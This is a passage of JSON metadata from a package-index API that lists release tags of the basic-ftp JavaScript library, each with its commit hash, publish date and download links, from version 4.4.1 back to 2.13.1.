1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6","kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.g